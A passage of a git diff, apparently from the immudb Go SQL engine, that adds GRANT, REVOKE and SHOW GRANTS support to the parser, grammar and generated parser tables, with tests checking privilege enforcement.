[]string{"db1", "db2"} + handler := &multidbHandlerMock{ + dbs: dbs, + user: &mockUser{ + username: "myuser", + permission: PermissionReadOnly, + sqlPrivileges: []SQLPrivilege{SQLPrivilegeSelect}, + }, + } + + opts := DefaultOptions(). + WithPrefix(sqlPrefix). + WithMultiDBHandler(handler) + + engine, err := NewEngine(st, opts) + require.NoError(t, err) + + handler.dbs = dbs + handler.engine = engine + + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + tx, + "CREATE TABLE mytable(id INTEGER, PRIMARY KEY id);", + nil, + ) + require.ErrorIs(t, err, ErrAccessDenied) + + handler.user.sqlPrivileges = + append(handler.user.sqlPrivileges, SQLPrivilegeCreate) + + _, _, err = engine.Exec( + context.Background(), + tx, + "CREATE TABLE mytable(id INTEGER, PRIMARY KEY id);", + nil, + ) + require.ErrorIs(t, err, ErrAccessDenied) + + handler.user.permission = PermissionReadWrite + + _, _, err = engine.Exec( + context.Background(), + tx, + "CREATE TABLE mytable(id INTEGER, PRIMARY KEY id);", + nil, + ) + require.NoError(t, err) + + checkGrants := func(sql string) { + rows, err := engine.queryAll(context.Background(), nil, sql, nil) + require.NoError(t, err) + require.Len(t, rows, 2) + + usr := rows[0].ValuesByPosition[0].RawValue().(string) + privilege := rows[0].ValuesByPosition[1].RawValue().(string) + + require.Equal(t, usr, "myuser") + require.Equal(t, privilege, string(SQLPrivilegeSelect)) + + usr = rows[1].ValuesByPosition[0].RawValue().(string) + privilege = rows[1].ValuesByPosition[1].RawValue().(string) + require.Equal(t, usr, "myuser") + require.Equal(t, privilege, string(SQLPrivilegeCreate)) + } + + checkGrants("SHOW GRANTS") + checkGrants("SHOW GRANTS FOR myuser") +} diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 046aeae282..14c0923e9b 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -102,6 +102,11 @@ var reservedWords = map[string]int{ "READ": READ, "READWRITE": READWRITE, "ADMIN": ADMIN, + "GRANT": GRANT, + "REVOKE": REVOKE, + "GRANTS": GRANTS, + "FOR": FOR, + "PRIVILEGES": PRIVILEGES, "CHECK": CHECK, "CONSTRAINT": CONSTRAINT, } diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index c18d83ac44..55b8b3da03 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -1729,6 +1729,69 @@ func TestFloatCornerCases(t *testing.T) { } } +func TestGrantRevokeStmt(t *testing.T) { + type test struct { + text string + expectedStmt SQLStmt + } + + cases := []test{ + { + text: "GRANT SELECT, INSERT, UPDATE, DELETE ON DATABASE defaultdb TO USER immudb", + expectedStmt: &AlterPrivilegesStmt{ + database: "defaultdb", + user: "immudb", + privileges: []SQLPrivilege{ + SQLPrivilegeDelete, + SQLPrivilegeUpdate, + SQLPrivilegeInsert, + SQLPrivilegeSelect, + }, + isGrant: true, + }, + }, + { + text: "REVOKE SELECT, INSERT, UPDATE, DELETE ON DATABASE defaultdb TO USER immudb", + expectedStmt: &AlterPrivilegesStmt{ + database: "defaultdb", + user: "immudb", + privileges: []SQLPrivilege{ + SQLPrivilegeDelete, + SQLPrivilegeUpdate, + SQLPrivilegeInsert, + SQLPrivilegeSelect, + }, + }, + }, + { + text: "GRANT ALL PRIVILEGES ON DATABASE defaultdb TO USER immudb", + expectedStmt: &AlterPrivilegesStmt{ + database: "defaultdb", + user: "immudb", + privileges: allPrivileges, + isGrant: true, + }, + }, + { + text: "REVOKE ALL PRIVILEGES ON DATABASE defaultdb TO USER immudb", + expectedStmt: &AlterPrivilegesStmt{ + database: "defaultdb", + user: "immudb", + privileges: allPrivileges, + }, + }, + } + + for i, tc := range cases { + t.Run(fmt.Sprintf("alter_privileges_%d", i), func(t *testing.T) { + stmts, err := ParseSQLString(tc.text) + require.NoError(t, err) + require.Len(t, stmts, 1) + require.Equal(t, tc.expectedStmt, stmts[0]) + }) + } +} + func TestExprString(t *testing.T) { exps := []string{ "(1 + 1) / (2 * 5 - 10)", diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 34a731cf7c..60e7a14a80 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -70,10 +70,12 @@ func setResult(l yyLexer, stmts []SQLStmt) { updates []*colUpdate onConflict *OnConflictDo permission Permission + sqlPrivilege SQLPrivilege + sqlPrivileges []SQLPrivilege } %token CREATE DROP USE DATABASE USER WITH PASSWORD READ READWRITE ADMIN SNAPSHOT HISTORY SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP -%token TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN CONSTRAINT PRIMARY KEY CHECK +%token TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN CONSTRAINT PRIMARY KEY CHECK GRANT REVOKE GRANTS FOR PRIVILEGES %token BEGIN TRANSACTION COMMIT ROLLBACK %token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL @@ -148,6 +150,8 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type updates %type opt_on_conflict %type permission +%type sqlPrivilege +%type sqlPrivileges %start sql @@ -157,7 +161,7 @@ sql: sqlstmts { $$ = $1 setResult(yylex, $1) - } + } sqlstmts: sqlstmt opt_separator @@ -284,6 +288,68 @@ ddlstmt: { $$ = &DropUserStmt{username: $3} } +| + GRANT sqlPrivileges ON DATABASE IDENTIFIER TO USER IDENTIFIER + { + $$ = &AlterPrivilegesStmt{database: $5, user: $8, privileges: $2, isGrant: true} + } +| + REVOKE sqlPrivileges ON DATABASE IDENTIFIER TO USER IDENTIFIER + { + $$ = &AlterPrivilegesStmt{database: $5, user: $8, privileges: $2} + } + +sqlPrivileges: + ALL PRIVILEGES + { + $$ = allPrivileges + } +| + sqlPrivilege + { + $$ = []SQLPrivilege{$1} + } +| + sqlPrivilege ',' sqlPrivileges + { + $$ = append($3, $1) + } + +sqlPrivilege: + SELECT + { + $$ = SQLPrivilegeSelect + } +| + CREATE + { + $$ = SQLPrivilegeCreate + } +| + INSERT + { + $$ = SQLPrivilegeInsert + } +| + UPDATE + { + $$ = SQLPrivilegeUpdate + } +| + DELETE + { + $$ = SQLPrivilegeDelete + } +| + DROP + { + $$ = SQLPrivilegeDrop + } +| + ALTER + { + $$ = SQLPrivilegeAlter + } permission: { @@ -600,6 +666,20 @@ dqlstmt: ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, } } +| + SHOW GRANTS + { + $$ = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants"}}, + } + } +| + SHOW GRANTS FOR IDENTIFIER + { + $$ = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants", params: []ValueExp{&Varchar{val: $4}}}}, + } + } select_stmt: SELECT opt_distinct opt_selectors FROM ds opt_indexon opt_joins opt_where opt_groupby opt_having opt_orderby opt_limit opt_offset { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index b70588c9fc..ec706c2cf8 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -56,6 +56,8 @@ type yySymType struct { updates []*colUpdate onConflict *OnConflictDo permission Permission + sqlPrivilege SQLPrivilege + sqlPrivileges []SQLPrivilege } const CREATE = 57346 @@ -90,67 +92,72 @@ const CONSTRAINT = 57374 const PRIMARY = 57375 const KEY = 57376 const CHECK = 57377 -const BEGIN = 57378 -const TRANSACTION = 57379 -const COMMIT = 57380 -const ROLLBACK = 57381 -const INSERT = 57382 -const UPSERT = 57383 -const INTO = 57384 -const VALUES = 57385 -const DELETE = 57386 -const UPDATE = 57387 -const SET = 57388 -const CONFLICT = 57389 -const DO = 57390 -const NOTHING = 57391 -const SELECT = 57392 -const DISTINCT = 57393 -const FROM = 57394 -const JOIN = 57395 -const HAVING = 57396 -const WHERE = 57397 -const GROUP = 57398 -const BY = 57399 -const LIMIT = 57400 -const OFFSET = 57401 -const ORDER = 57402 -const ASC = 57403 -const DESC = 57404 -const AS = 57405 -const UNION = 57406 -const ALL = 57407 -const NOT = 57408 -const LIKE = 57409 -const IF = 57410 -const EXISTS = 57411 -const IN = 57412 -const IS = 57413 -const AUTO_INCREMENT = 57414 -const NULL = 57415 -const CAST = 57416 -const SCAST = 57417 -const SHOW = 57418 -const DATABASES = 57419 -const TABLES = 57420 -const USERS = 57421 -const NPARAM = 57422 -const PPARAM = 57423 -const JOINTYPE = 57424 -const LOP = 57425 -const CMPOP = 57426 -const IDENTIFIER = 57427 -const TYPE = 57428 -const INTEGER = 57429 -const FLOAT = 57430 -const VARCHAR = 57431 -const BOOLEAN = 57432 -const BLOB = 57433 -const AGGREGATE_FUNC = 57434 -const ERROR = 57435 -const DOT = 57436 -const ARROW = 57437 -const STMT_SEPARATOR = 57438 +const GRANT = 57378 +const REVOKE = 57379 +const GRANTS = 57380 +const FOR = 57381 +const PRIVILEGES = 57382 +const BEGIN = 57383 +const TRANSACTION = 57384 +const COMMIT = 57385 +const ROLLBACK = 57386 +const INSERT = 57387 +const UPSERT = 57388 +const INTO = 57389 +const VALUES = 57390 +const DELETE = 57391 +const UPDATE = 57392 +const SET = 57393 +const CONFLICT = 57394 +const DO = 57395 +const NOTHING = 57396 +const SELECT = 57397 +const DISTINCT = 57398 +const FROM = 57399 +const JOIN = 57400 +const HAVING = 57401 +const WHERE = 57402 +const GROUP = 57403 +const BY = 57404 +const LIMIT = 57405 +const OFFSET = 57406 +const ORDER = 57407 +const ASC = 57408 +const DESC = 57409 +const AS = 57410 +const UNION = 57411 +const ALL = 57412 +const NOT = 57413 +const LIKE = 57414 +const IF = 57415 +const EXISTS = 57416 +const IN = 57417 +const IS = 57418 +const AUTO_INCREMENT = 57419 +const NULL = 57420 +const CAST = 57421 +const SCAST = 57422 +const SHOW = 57423 +const DATABASES = 57424 +const TABLES = 57425 +const USERS = 57426 +const NPARAM = 57427 +const PPARAM = 57428 +const JOINTYPE = 57429 +const LOP = 57430 +const CMPOP = 57431 +const IDENTIFIER = 57432 +const TYPE = 57433 +const INTEGER = 57434 +const FLOAT = 57435 +const VARCHAR = 57436 +const BOOLEAN = 57437 +const BLOB = 57438 +const AGGREGATE_FUNC = 57439 +const ERROR = 57440 +const DOT = 57441 +const ARROW = 57442 +const STMT_SEPARATOR = 57443 var yyToknames = [...]string{ "$end", @@ -188,6 +195,11 @@ var yyToknames = [...]string{ "PRIMARY", "KEY", "CHECK", + "GRANT", + "REVOKE", + "GRANTS", + "FOR", + "PRIVILEGES", "BEGIN", "TRANSACTION", "COMMIT", @@ -271,250 +283,266 @@ var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, - -1, 93, - 67, 168, - 70, 168, - -2, 156, - -1, 233, - 53, 129, - -2, 124, - -1, 274, - 53, 129, - -2, 126, + -1, 112, + 72, 182, + 75, 182, + -2, 170, + -1, 260, + 58, 143, + -2, 138, + -1, 303, + 58, 143, + -2, 140, } const yyPrivate = 57344 -const yyLast = 481 +const yyLast = 512 var yyAct = [...]int16{ - 92, 377, 98, 78, 267, 172, 227, 129, 284, 299, - 303, 107, 178, 169, 214, 273, 298, 215, 6, 121, - 195, 250, 57, 124, 343, 20, 290, 183, 289, 225, - 260, 225, 225, 364, 225, 225, 304, 348, 326, 324, - 291, 95, 261, 226, 97, 347, 344, 336, 110, 106, - 77, 19, 327, 325, 305, 108, 109, 91, 150, 314, - 111, 283, 101, 102, 103, 104, 105, 79, 281, 280, - 148, 149, 278, 96, 259, 257, 245, 244, 100, 135, - 224, 181, 182, 184, 144, 145, 147, 146, 159, 186, - 126, 212, 143, 300, 256, 249, 154, 155, 159, 240, - 239, 157, 238, 95, 237, 197, 97, 180, 160, 158, - 110, 106, 156, 137, 134, 120, 119, 108, 109, 22, - 376, 369, 111, 174, 101, 102, 103, 104, 105, 79, - 122, 187, 329, 189, 171, 96, 150, 80, 192, 185, - 100, 150, 260, 175, 150, 200, 201, 202, 203, 204, - 205, 191, 330, 148, 149, 246, 225, 128, 133, 213, - 216, 135, 144, 145, 147, 146, 365, 144, 145, 147, - 146, 176, 147, 146, 217, 211, 114, 243, 232, 80, - 80, 230, 95, 218, 233, 97, 79, 79, 223, 110, - 106, 199, 190, 241, 75, 242, 108, 109, 323, 235, - 231, 111, 234, 101, 102, 103, 104, 105, 79, 255, - 90, 248, 322, 287, 96, 295, 286, 247, 258, 100, - 210, 150, 329, 80, 30, 62, 150, 170, 318, 269, - 311, 31, 297, 148, 149, 177, 131, 271, 148, 149, - 342, 282, 277, 265, 125, 263, 338, 144, 145, 147, - 146, 222, 144, 145, 147, 146, 221, 216, 130, 220, - 219, 296, 196, 292, 198, 193, 196, 285, 150, 302, - 188, 112, 161, 138, 294, 293, 306, 113, 83, 81, - 148, 149, 276, 301, 63, 150, 310, 317, 312, 313, - 308, 315, 307, 73, 144, 145, 147, 146, 149, 141, - 142, 216, 29, 41, 66, 65, 64, 61, 56, 55, - 20, 144, 145, 147, 146, 331, 153, 254, 341, 332, - 321, 185, 335, 207, 236, 152, 150, 320, 208, 72, - 206, 209, 136, 51, 82, 42, 19, 378, 379, 345, - 356, 352, 359, 268, 353, 45, 228, 355, 354, 368, - 351, 360, 10, 12, 11, 362, 334, 122, 350, 20, - 309, 366, 127, 39, 370, 367, 48, 357, 50, 266, - 346, 374, 372, 375, 371, 13, 70, 264, 179, 380, - 38, 37, 381, 23, 7, 19, 8, 9, 14, 15, - 339, 337, 16, 17, 52, 53, 40, 316, 20, 43, - 44, 46, 287, 165, 166, 286, 163, 164, 162, 117, - 262, 363, 24, 28, 270, 139, 67, 68, 69, 34, - 84, 229, 54, 85, 19, 36, 2, 279, 25, 27, - 26, 167, 115, 116, 32, 118, 33, 89, 88, 140, - 35, 59, 60, 251, 252, 253, 86, 173, 21, 49, - 328, 123, 151, 319, 340, 358, 373, 288, 333, 94, - 93, 349, 275, 274, 272, 87, 58, 71, 47, 132, - 76, 74, 99, 361, 168, 194, 18, 5, 4, 3, - 1, + 111, 408, 117, 97, 296, 197, 254, 152, 313, 330, + 334, 126, 203, 194, 239, 302, 329, 240, 6, 143, + 71, 220, 277, 374, 146, 319, 110, 318, 22, 252, + 287, 252, 109, 252, 252, 252, 395, 379, 357, 355, + 378, 320, 288, 253, 114, 208, 375, 116, 367, 358, + 356, 129, 125, 335, 21, 345, 312, 310, 127, 128, + 173, 309, 307, 130, 96, 120, 121, 122, 123, 124, + 98, 336, 171, 172, 286, 284, 115, 114, 272, 271, + 116, 119, 24, 251, 129, 125, 167, 168, 170, 169, + 331, 127, 128, 237, 283, 276, 130, 182, 120, 121, + 122, 123, 124, 98, 206, 207, 209, 131, 148, 115, + 114, 166, 211, 116, 119, 177, 178, 129, 125, 158, + 180, 267, 266, 265, 127, 128, 264, 222, 182, 130, + 205, 120, 121, 122, 123, 124, 98, 183, 181, 179, + 164, 165, 115, 160, 157, 199, 142, 119, 141, 144, + 407, 173, 361, 99, 212, 400, 196, 173, 360, 287, + 98, 217, 210, 171, 172, 200, 173, 94, 225, 226, + 227, 228, 229, 230, 99, 273, 396, 167, 168, 170, + 169, 252, 238, 241, 151, 170, 169, 173, 216, 83, + 201, 214, 167, 168, 170, 169, 156, 242, 236, 171, + 172, 158, 133, 259, 270, 354, 257, 243, 248, 260, + 99, 285, 369, 167, 168, 170, 169, 98, 268, 173, + 269, 224, 215, 353, 262, 261, 258, 360, 154, 324, + 32, 171, 172, 274, 282, 316, 275, 33, 315, 173, + 235, 99, 76, 195, 349, 167, 168, 170, 169, 173, + 153, 171, 172, 305, 342, 328, 298, 327, 326, 311, + 294, 147, 172, 202, 300, 167, 168, 170, 169, 306, + 247, 290, 246, 245, 244, 167, 168, 170, 169, 221, + 223, 218, 213, 192, 241, 191, 184, 161, 325, 149, + 321, 132, 102, 221, 100, 314, 91, 54, 333, 80, + 79, 323, 322, 78, 75, 337, 77, 70, 69, 39, + 22, 263, 332, 31, 373, 341, 348, 343, 344, 339, + 346, 338, 10, 12, 11, 49, 281, 352, 58, 176, + 232, 372, 241, 173, 351, 159, 21, 231, 175, 233, + 101, 65, 234, 60, 90, 13, 362, 55, 409, 410, + 363, 22, 210, 366, 14, 15, 390, 297, 255, 7, + 399, 8, 9, 16, 17, 382, 144, 18, 19, 64, + 376, 387, 383, 22, 365, 384, 381, 21, 386, 385, + 340, 150, 391, 43, 47, 52, 393, 56, 57, 59, + 62, 204, 397, 139, 388, 401, 398, 66, 67, 21, + 377, 88, 405, 403, 406, 402, 48, 295, 293, 51, + 411, 53, 50, 412, 25, 82, 92, 316, 370, 347, + 315, 368, 188, 189, 44, 186, 187, 185, 46, 45, + 136, 289, 250, 249, 42, 36, 394, 299, 104, 26, + 30, 162, 85, 86, 87, 103, 84, 81, 256, 40, + 34, 68, 35, 134, 135, 27, 29, 28, 2, 38, + 308, 108, 107, 73, 74, 278, 279, 280, 190, 163, + 137, 105, 292, 291, 37, 140, 138, 198, 23, 41, + 359, 145, 174, 63, 350, 371, 389, 404, 317, 364, + 113, 112, 380, 304, 303, 301, 106, 72, 89, 61, + 155, 95, 93, 118, 392, 193, 219, 20, 5, 4, + 3, 1, } var yyPact = [...]int16{ - 348, -1000, -1000, 17, -1000, -1000, -1000, 346, -1000, -1000, - 405, 217, 411, 417, 339, 338, 311, 218, 271, 322, - 315, -1000, 348, -1000, 265, 265, 265, 397, 224, -1000, - 223, 425, 222, 199, 221, 220, 219, 218, 218, 218, - 330, -1000, 264, -1000, -1000, 208, -1000, 95, -1000, -1000, - 194, 268, 193, 394, 265, 437, -1000, -1000, 419, 37, - 37, -1000, 192, 82, -1000, 404, 426, 13, 12, 302, - 159, 260, -1000, -1000, 310, -1000, 61, 173, 63, 11, - 67, -1000, 263, 10, 188, 389, 429, -1000, 37, 37, - -1000, 116, 197, 250, -1000, 116, 116, 9, -1000, -1000, - 116, -1000, -1000, -1000, -1000, -1000, 6, -1000, -1000, -1000, - -1000, -15, -1000, 5, 187, 377, 376, 372, 421, 142, - 142, 441, 116, 75, -1000, 151, -1000, 4, 94, -1000, - -1000, 185, 38, 103, 52, 180, -1000, 177, 2, 179, - 102, -1000, -1000, 197, 116, 116, 116, 116, 116, 116, - 257, 261, 134, -1000, 214, 73, 260, -13, 116, 116, - 142, -1000, 177, 175, 174, 171, 166, 99, -24, 60, - -1000, -61, 288, 396, 197, 441, 159, 116, 441, 425, - 309, 1, -1, -3, -4, 173, -5, 173, -1000, 88, - -1000, -27, -28, -1000, 59, -1000, 131, 142, -8, 432, - 73, 73, 255, 255, 214, 65, -1000, 244, 116, -9, - -1000, -29, -1000, 155, -30, 46, 197, -62, -1000, -1000, - 380, -1000, -1000, 432, 334, 158, 326, 284, 116, 388, - 288, -1000, 197, 200, 173, -32, 406, -35, -36, 156, - -43, -1000, -1000, -1000, -1000, -1000, 181, -77, -64, 142, - -1000, -1000, -1000, -1000, -1000, 214, -25, -1000, 129, -1000, - 116, -1000, 147, -1000, -10, -1000, -10, -1000, 116, 197, - -49, 284, 302, -1000, 200, 307, -1000, -1000, 173, 145, - 173, 173, -45, 173, 364, -1000, 116, 143, 254, 125, - 111, -1000, -65, -51, -66, -52, 197, -1000, 126, -1000, - 116, 36, 197, -1000, -1000, 142, -1000, 300, -1000, 4, - -1000, -57, -1000, -1000, -1000, -1000, 357, 150, 355, 246, - -1000, 167, -82, -58, -1000, -1000, -1000, -1000, -1000, -10, - 323, -59, -67, 304, 293, 441, 173, -49, 370, 116, - -1000, -1000, -1000, -1000, -1000, -1000, 319, -1000, -1000, 282, - 116, 138, 385, -1000, -71, -1000, 70, 312, 288, 292, - 197, 25, -1000, 116, -1000, 370, -1000, 284, 94, 138, - 197, -1000, -1000, 24, 276, -1000, 94, -1000, -1000, -1000, - 276, -1000, + 318, -1000, -1000, -25, -1000, -1000, -1000, 372, -1000, -1000, + 432, 223, 427, 451, 379, 379, 365, 362, 328, 207, + 278, 305, 334, -1000, 318, -1000, 268, 268, 268, 426, + 218, -1000, 217, 447, 214, 216, 213, 210, 209, 421, + 375, 88, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 420, + 207, 207, 207, 350, -1000, 274, -1000, -1000, 206, -1000, + 377, 63, -1000, -1000, 204, 269, 202, 419, 268, 462, + -1000, -1000, 443, 6, 6, -1000, 201, 103, -1000, 425, + 461, 469, -1000, 379, 468, 40, 38, 306, 171, 255, + -1000, -1000, 199, 324, -1000, 83, 160, 96, 36, 102, + -1000, 261, 35, 197, 415, 459, -1000, 6, 6, -1000, + 39, 163, 258, -1000, 39, 39, 31, -1000, -1000, 39, + -1000, -1000, -1000, -1000, -1000, 30, -1000, -1000, -1000, -1000, + 20, -1000, 29, 196, 396, 395, 391, 458, 195, -1000, + 193, 153, 153, 471, 39, 89, -1000, 174, -1000, -1000, + 22, 120, -1000, -1000, 192, 91, 128, 84, 191, -1000, + 189, 19, 190, 127, -1000, -1000, 163, 39, 39, 39, + 39, 39, 39, 259, 267, 149, -1000, 173, 81, 255, + -16, 39, 39, 153, -1000, 189, 184, 183, 182, 180, + 114, 403, 402, -26, 80, -1000, -66, 295, 423, 163, + 471, 171, 39, 471, 447, 296, 18, 15, 14, 13, + 160, -11, 160, -1000, 110, -1000, -30, -31, -1000, 74, + -1000, 142, 153, -13, 454, 81, 81, 257, 257, 173, + 90, -1000, 248, 39, -14, -1000, -34, -1000, 143, -35, + 58, 163, -67, -1000, -1000, 401, -1000, -1000, 454, 465, + 464, 360, 170, 359, 293, 39, 411, 295, -1000, 163, + 166, 160, -47, 439, -48, -52, 169, -53, -1000, -1000, + -1000, -1000, -1000, 203, -83, -68, 153, -1000, -1000, -1000, + -1000, -1000, 173, -27, -1000, 138, -1000, 39, -1000, 168, + -1000, 167, 165, -18, -1000, -18, -1000, 39, 163, -37, + 293, 306, -1000, 166, 322, -1000, -1000, 160, 164, 160, + 160, -54, 160, 386, -1000, 39, 154, 256, 131, 113, + -1000, -70, -59, -71, -60, 163, -1000, -1000, -1000, 126, + -1000, 39, 57, 163, -1000, -1000, 153, -1000, 313, -1000, + 22, -1000, -61, -1000, -1000, -1000, -1000, 387, 111, 383, + 254, -1000, 236, -88, -63, -1000, -1000, -1000, -1000, -1000, + -18, 348, -69, -72, 317, 303, 471, 160, -37, 385, + 39, -1000, -1000, -1000, -1000, -1000, -1000, 341, -1000, -1000, + 291, 39, 151, 410, -1000, -73, -1000, 75, 338, 295, + 298, 163, 54, -1000, 39, -1000, 385, -1000, 293, 120, + 151, 163, -1000, -1000, 49, 282, -1000, 120, -1000, -1000, + -1000, 282, -1000, } var yyPgo = [...]int16{ - 0, 480, 426, 479, 478, 477, 18, 476, 475, 20, - 13, 10, 474, 473, 16, 9, 17, 14, 472, 11, - 2, 471, 470, 469, 3, 468, 467, 12, 378, 22, - 466, 465, 210, 464, 15, 463, 462, 8, 0, 19, - 461, 460, 459, 458, 6, 4, 457, 7, 456, 455, - 1, 5, 368, 454, 453, 452, 23, 451, 450, 21, - 448, + 0, 511, 458, 510, 509, 508, 18, 507, 506, 21, + 13, 10, 505, 504, 16, 9, 17, 14, 503, 11, + 2, 502, 501, 500, 3, 499, 498, 12, 391, 20, + 497, 496, 32, 495, 15, 494, 493, 8, 0, 19, + 492, 491, 490, 489, 6, 4, 488, 7, 487, 486, + 1, 5, 369, 485, 484, 482, 24, 481, 480, 22, + 479, 309, 478, } var yyR1 = [...]int8{ - 0, 1, 2, 2, 60, 60, 3, 3, 3, 4, + 0, 1, 2, 2, 62, 62, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 59, 59, 59, 59, 52, 52, 11, 11, 5, - 5, 5, 5, 58, 58, 57, 57, 56, 12, 12, - 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, - 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, - 18, 19, 8, 8, 9, 46, 46, 46, 53, 53, - 54, 54, 54, 6, 6, 6, 6, 6, 6, 7, - 26, 26, 25, 25, 21, 21, 22, 22, 20, 20, - 20, 20, 23, 23, 24, 24, 27, 27, 27, 27, - 27, 27, 27, 27, 28, 29, 30, 30, 30, 31, - 31, 31, 32, 32, 33, 33, 34, 34, 35, 36, - 36, 39, 39, 43, 43, 40, 40, 44, 44, 45, - 45, 49, 49, 51, 51, 48, 48, 50, 50, 50, - 47, 47, 47, 37, 37, 37, 38, 38, 38, 38, - 38, 38, 38, 38, 41, 41, 41, 41, 55, 55, - 42, 42, 42, 42, 42, 42, 42, 42, + 4, 4, 4, 61, 61, 61, 60, 60, 60, 60, + 60, 60, 60, 59, 59, 59, 59, 52, 52, 11, + 11, 5, 5, 5, 5, 58, 58, 57, 57, 56, + 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, + 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, + 18, 18, 18, 19, 8, 8, 9, 46, 46, 46, + 53, 53, 54, 54, 54, 6, 6, 6, 6, 6, + 6, 6, 6, 7, 26, 26, 25, 25, 21, 21, + 22, 22, 20, 20, 20, 20, 23, 23, 24, 24, + 27, 27, 27, 27, 27, 27, 27, 27, 28, 29, + 30, 30, 30, 31, 31, 31, 32, 32, 33, 33, + 34, 34, 35, 36, 36, 39, 39, 43, 43, 40, + 40, 44, 44, 45, 45, 49, 49, 51, 51, 48, + 48, 50, 50, 50, 47, 47, 47, 37, 37, 37, + 38, 38, 38, 38, 38, 38, 38, 38, 41, 41, + 41, 41, 55, 55, 42, 42, 42, 42, 42, 42, + 42, 42, } var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, 1, 1, 1, 4, 2, 3, 3, 12, 3, 8, 9, 7, 5, 6, 6, 8, 6, 6, 7, 7, - 3, 0, 1, 1, 1, 0, 3, 1, 3, 9, - 8, 7, 8, 0, 4, 1, 3, 3, 0, 1, - 1, 3, 3, 1, 3, 1, 3, 0, 1, 1, - 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, - 1, 4, 1, 3, 5, 0, 3, 3, 0, 1, - 0, 1, 2, 1, 4, 2, 2, 3, 2, 13, - 0, 1, 0, 1, 1, 1, 2, 4, 1, 2, - 4, 4, 2, 3, 1, 3, 3, 4, 4, 4, - 4, 4, 2, 6, 1, 2, 0, 2, 2, 0, - 2, 2, 2, 1, 0, 1, 1, 2, 6, 0, - 1, 0, 2, 0, 3, 0, 2, 0, 2, 0, - 2, 0, 3, 0, 4, 2, 4, 0, 1, 1, - 0, 1, 2, 0, 4, 6, 1, 1, 2, 2, - 4, 4, 6, 6, 1, 1, 3, 3, 0, 1, - 3, 3, 3, 3, 3, 3, 3, 4, + 3, 8, 8, 2, 1, 3, 1, 1, 1, 1, + 1, 1, 1, 0, 1, 1, 1, 0, 3, 1, + 3, 9, 8, 7, 8, 0, 4, 1, 3, 3, + 0, 1, 1, 3, 3, 1, 3, 1, 3, 0, + 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, + 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, + 0, 1, 0, 1, 2, 1, 4, 2, 2, 3, + 2, 2, 4, 13, 0, 1, 0, 1, 1, 1, + 2, 4, 1, 2, 4, 4, 2, 3, 1, 3, + 3, 4, 4, 4, 4, 4, 2, 6, 1, 2, + 0, 2, 2, 0, 2, 2, 2, 1, 0, 1, + 1, 2, 6, 0, 1, 0, 2, 0, 3, 0, + 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, + 4, 0, 1, 1, 0, 1, 2, 0, 4, 6, + 1, 1, 2, 2, 4, 4, 6, 6, 1, 1, + 3, 3, 0, 1, 3, 3, 3, 3, 3, 3, + 3, 4, } var yyChk = [...]int16{ - -1000, -1, -2, -3, -4, -5, -6, 36, 38, 39, - 4, 6, 5, 27, 40, 41, 44, 45, -7, 76, - 50, -60, 102, 37, 7, 23, 25, 24, 8, 85, - 7, 14, 23, 25, 8, 23, 8, 42, 42, 52, - -28, 85, 64, 77, 78, 23, 79, -25, 51, -2, - -52, 68, -52, -52, 25, 85, 85, -29, -30, 16, - 17, 85, 26, 85, 85, 85, 85, -28, -28, -28, - 46, -26, 65, 85, -21, 99, -22, -20, -24, 92, - 85, 85, 66, 85, 26, -52, 9, -31, 19, 18, - -32, 20, -38, -41, -42, 66, 98, 69, -20, -18, - 103, 87, 88, 89, 90, 91, 74, -19, 80, 81, - 73, 85, -32, 85, 94, 28, 29, 5, 9, 103, - 103, -39, 55, -57, -56, 85, -6, 52, 96, -47, - 85, 63, -23, 95, 103, 94, 69, 103, 85, 26, - 10, -32, -32, -38, 97, 98, 100, 99, 83, 84, - 71, -55, 75, 66, -38, -38, 103, -38, 103, 103, - 103, 85, 31, 30, 31, 31, 32, 10, -12, -10, - 85, -10, -51, 6, -38, -39, 96, 84, -27, -28, - 103, 77, 78, 23, 79, -19, 85, -20, 85, 95, - 89, 99, -24, 85, -8, -9, 85, 103, 85, 89, - -38, -38, -38, -38, -38, -38, 73, 66, 67, 70, - 86, -6, 104, -38, -17, -16, -38, -10, -9, 85, - 85, 85, 85, 89, 104, 96, 104, -44, 58, 25, - -51, -56, -38, -51, -29, -6, 15, 103, 103, 103, - 103, -47, -47, 89, 104, 104, 96, 86, -10, 103, - -59, 11, 12, 13, 73, -38, 103, 104, 63, 104, - 96, 104, 30, -59, 43, 85, 43, -45, 59, -38, - 26, -44, -33, -34, -35, -36, 82, -47, 104, 21, - 104, 104, 85, 104, -37, -9, 35, 32, -46, 105, - 103, 104, -10, -6, -16, 86, -38, 85, -14, -15, - 103, 